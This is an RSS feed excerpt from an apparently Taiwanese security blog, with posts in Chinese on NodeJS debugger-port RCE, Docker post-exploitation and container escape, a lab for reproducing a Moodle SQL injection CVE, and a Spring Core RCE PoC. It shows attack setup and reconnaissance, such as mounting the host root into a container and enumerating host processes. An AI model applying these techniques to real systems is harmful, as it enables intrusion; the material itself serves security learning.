&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;if&lt;/span&gt; (client) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;await&lt;/span&gt; client.close();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;example();
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/04/2022-04-10-21-48-47-1024x232.png"&gt;&lt;/p&gt;</description></item><item><title>NodeJS V8 Engine Debugger Exploit</title><link>http://blog.stevenyu.tw/2022/04/05/nodejs-v8-engine-debugger-exploit/</link><pubDate>Tue, 05 Apr 2022 21:55:32 +0800</pubDate><guid>http://blog.stevenyu.tw/2022/04/05/nodejs-v8-engine-debugger-exploit/</guid><description>&lt;p&gt;前陣子，在某個奇怪的情境下遇到的狀況，我擁有一台機器上跑的 Server 的完整 Source Code，且其 NodeJS 的 Debugger Port 是開啟的狀態，在這種情況下是有辦法取得 RCE 的嗎？&lt;/p&gt;
&lt;p&gt;這邊我建立了一個簡單的 NodeJS 的 Script，功能很直覺，應該不需要多做解釋。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;const&lt;/span&gt; express &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; require(&lt;span style="color:#f1fa8c"&gt;&amp;#39;express&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;const&lt;/span&gt; app &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; express()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;const&lt;/span&gt; port &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; &lt;span style="color:#bd93f9"&gt;3000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;app.get(&lt;span style="color:#f1fa8c"&gt;&amp;#39;/&amp;#39;&lt;/span&gt;, (req, res) =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#8be9fd;font-style:italic"&gt;var&lt;/span&gt; name &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; req.query.name
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; res.send(&lt;span style="color:#f1fa8c"&gt;&amp;#39;Hello &amp;#39;&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;+&lt;/span&gt; name &lt;span style="color:#ff79c6"&gt;+&lt;/span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#34; !!&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; })
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; app.listen(port, () =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; console.log(&lt;span style="color:#f1fa8c"&gt;`Example app listening on port &lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;${&lt;/span&gt;port&lt;span style="color:#f1fa8c"&gt;}&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;`&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; })
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;如果說，我們的這隻程式因為各種緣故，需要使用遠端 Debugger 的話，很可能會用下面的方法叫起來，不過這種方法是超級無敵危險的！&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;nodejs --inspect=0.0.0.0 main.js
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="vscode-exploit"&gt;VSCode Exploit&lt;/h2&gt;
&lt;p&gt;假設我們的程式在 Victim 端使用上述方法跑起來，而 Attacker 擁有完全一樣的 Code 的話，可以在專案中新增下面的檔案，並把 IP Address 修改成 Victim 的 IP。&lt;/p&gt;</description></item><item><title>Docker Post Exploitation and Escape</title><link>http://blog.stevenyu.tw/2022/04/04/docker-post-exploitation-and-escape/</link><pubDate>Mon, 04 Apr 2022 23:58:21 +0800</pubDate><guid>http://blog.stevenyu.tw/2022/04/04/docker-post-exploitation-and-escape/</guid><description>&lt;p&gt;最近常常遇到 Docker 相關的機器， Docker 機器裡面通常都很乾淨，缺少很多可以用的小工具，所以後滲透比起普通 Linux 機器有一點點點的不同 QQ，本文會用幾個小例子簡介一下 Docker 的後滲透技巧以及逃脫方法&lt;/p&gt;
&lt;p&gt;以下範例的機器 IP:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Kali (Attacker) : 192.168.40.135&lt;/li&gt;
&lt;li&gt;Ubuntu (Victim) : 192.168.40.136&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="mount-host-root-directory"&gt;Mount Host Root Directory&lt;/h2&gt;
&lt;p&gt;在這邊的例子中，我們假設我們已經擁有了 Container 中的 Root 權限，且嘗試想試著逃離 Docker&lt;/p&gt;
&lt;p&gt;這邊使用的 Docker 環境是這樣叫起來的&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo docker run -v /:/host -it ubuntu bash
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="觀察電腦中的-process"&gt;觀察電腦中的 Process&lt;/h3&gt;
&lt;p&gt;假設我們把 host 的根目錄 mount 在 container 的 /host，我們可以透過寫一個簡單的小腳本來觀察 host 機器上執行了哪些的 process&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;for&lt;/span&gt; dir_name in &lt;span style="color:#ff79c6"&gt;$(&lt;/span&gt;ls -d /host/proc/*/ | grep -E &lt;span style="color:#f1fa8c"&gt;&amp;#39;\/host\/proc\/[0-9]+\/&amp;#39;&lt;/span&gt;&lt;span style="color:#ff79c6"&gt;)&lt;/span&gt;; &lt;span style="color:#ff79c6"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#8be9fd;font-style:italic"&gt;echo&lt;/span&gt; &lt;span style="color:#8be9fd;font-style:italic"&gt;$dir_name&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; cat &lt;span style="color:#8be9fd;font-style:italic"&gt;$dir_name&lt;/span&gt;/status 2&amp;gt;/dev/null | head -n 1;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; cat &lt;span style="color:#8be9fd;font-style:italic"&gt;$dir_name&lt;/span&gt;/cmdline 2&amp;gt;/dev/null ; &lt;span style="color:#8be9fd;font-style:italic"&gt;echo&lt;/span&gt; -ne &lt;span style="color:#f1fa8c"&gt;&amp;#39;\n&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#8be9fd;font-style:italic"&gt;echo&lt;/span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;============================&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;透過觀察 Host 的 Process，我們可以設法找出電腦中可以利用的 Process，範例輸出：可以觀察到電腦有開 SSH&lt;/p&gt;</description></item><item><title>CVE-2022-0332 Moodle SQL Injection Reproduce</title><link>http://blog.stevenyu.tw/2022/04/01/cve-2022-0332-moodle-sql-injection-reproduce/</link><pubDate>Fri, 01 Apr 2022 22:53:16 +0800</pubDate><guid>http://blog.stevenyu.tw/2022/04/01/cve-2022-0332-moodle-sql-injection-reproduce/</guid><description>&lt;p&gt;起因是，HITCON Girls 的成員來詢問我關於這個 CVE 的 Exploit 方法，她說實作了一天都卡在一些參數問題上，所以我就架起來玩了一下。&lt;/p&gt;
&lt;p&gt;Moodle / 母斗 是一個很大的 LMS，目前台科大也正在使用，我目前也在被摧殘的第六年，ㄏㄏ。&lt;/p&gt;
&lt;h2 id="public-information"&gt;Public Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Exploit-DB&lt;a href="https://www.exploit-db.com/exploits/50700"&gt;https://www.exploit-db.com/exploits/50700&lt;/a&gt;GitHub- &lt;a href="https://github.com/numanturle/CVE-2022-0332"&gt;https://github.com/numanturle/CVE-2022-0332&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="build-environment"&gt;Build Environment&lt;/h2&gt;
&lt;p&gt;要復現這個漏洞，比想像中麻煩很多，這邊我使用了 Docker-compose 來快速建置環境，基本上內容來自 &lt;a href="https://github.com/bitnami/bitnami-docker-moodle"&gt;bitnami-docker-moodle&lt;/a&gt; ， 我唯一做了修改的部分是把第 15 行指定了 Moodle 的版本&lt;/p&gt;
&lt;h3 id="docker-compose-內容"&gt;docker-compose 內容&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;version&lt;/span&gt;: &lt;span style="color:#f1fa8c"&gt;&amp;#39;2&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;services&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;mariadb&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;image&lt;/span&gt;: docker.io/bitnami/mariadb:10.3
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;environment&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#6272a4"&gt;# ALLOW_EMPTY_PASSWORD is recommended only for development.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - ALLOW_EMPTY_PASSWORD=yes
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - MARIADB_USER=bn_moodle
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - MARIADB_DATABASE=bitnami_moodle
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - MARIADB_CHARACTER_SET=utf8mb4
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - MARIADB_COLLATE=utf8mb4_unicode_ci
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;volumes&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#f1fa8c"&gt;&amp;#39;mariadb_data:/bitnami/mariadb&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;moodle&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;image&lt;/span&gt;: docker.io/bitnami/moodle:3.11.4
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;ports&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#f1fa8c"&gt;&amp;#39;80:8080&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#f1fa8c"&gt;&amp;#39;443:8443&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;environment&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - MOODLE_DATABASE_HOST=mariadb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - MOODLE_DATABASE_PORT_NUMBER=3306
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - MOODLE_DATABASE_USER=bn_moodle
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - MOODLE_DATABASE_NAME=bitnami_moodle
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#6272a4"&gt;# ALLOW_EMPTY_PASSWORD is recommended only for development.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - ALLOW_EMPTY_PASSWORD=yes
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;volumes&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#f1fa8c"&gt;&amp;#39;moodle_data:/bitnami/moodle&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#f1fa8c"&gt;&amp;#39;moodledata_data:/bitnami/moodledata&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;depends_on&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - mariadb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;volumes&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;mariadb_data&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;driver&lt;/span&gt;: local
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;moodle_data&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;driver&lt;/span&gt;: local
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;moodledata_data&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;driver&lt;/span&gt;: local
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="執行-docker"&gt;執行 Docker&lt;/h3&gt;
&lt;p&gt;基本上執行下面的指令，就可以把完整的環境跑起來了&lt;/p&gt;</description></item><item><title>Spring Core RCE JDK 9+ PoC and Experiment (2022/03/31)</title><link>http://blog.stevenyu.tw/2022/03/31/spring-core-rce-poc-2022-03-31/</link><pubDate>Thu, 31 Mar 2022 00:36:33 +0800</pubDate><guid>http://blog.stevenyu.tw/2022/03/31/spring-core-rce-poc-2022-03-31/</guid><description>&lt;p&gt;從昨天晚上開始，就一大堆人開始傳說 Spring Core 的 RCE 漏洞&lt;/p&gt;
&lt;h2 id="漏洞八卦-qq"&gt;漏洞八卦 QQ&lt;/h2&gt;
&lt;p&gt;但是一直都只有很片段的一些 PoC 流出來，例如&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/03/%E5%9C%96%E7%89%87-1.png"&gt;&lt;/p&gt;
&lt;p&gt;或是一些被馬的亂七八糟的截圖 QQ，(原文已被刪除)&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/03/2022-03-31-00-45-44.png"&gt;&lt;/p&gt;
&lt;p&gt;還出現了一些梗圖&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/03/%E5%9C%96%E7%89%87-2.png"&gt;&lt;/p&gt;
&lt;p&gt;還有其他的八卦是，今天下午時，有打著公開 PoC 名義的釣魚腳本，裡面還暗藏了惡意程式 &lt;a href="https://cn-sec.com/archives/853963.html"&gt;https://cn-sec.com/archives/853963.html&lt;/a&gt; ，ㄟ這樣黑吃黑真的很不可取 = =。&lt;/p&gt;
&lt;p&gt;這個漏洞難找還有另外一個原因是因為，前幾天又剛好有另外一個 Sprint cloud function 的 RCE (CVE-2022-22963)，相關討論串與 PoC 在&lt;a href="https://www.reddit.com/r/blueteamsec/comments/trzzw0/spring_rce/"&gt;這邊&lt;/a&gt; ，很多人都會把這兩個洞給搞混。初步了解，這兩個漏洞完全沒有任何關係。&lt;/p&gt;
&lt;h2 id="撿到漏洞利用"&gt;撿到漏洞利用&lt;/h2&gt;
&lt;p&gt;終於在剛剛，我在 Twitter 上撿到了一隻 PoC&lt;/p&gt;
&lt;p&gt;&lt;a href="https://twitter.com/Dinosn/status/1509201762665873410"&gt;https://twitter.com/Dinosn/status/1509201762665873410&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="data:image/png;base64,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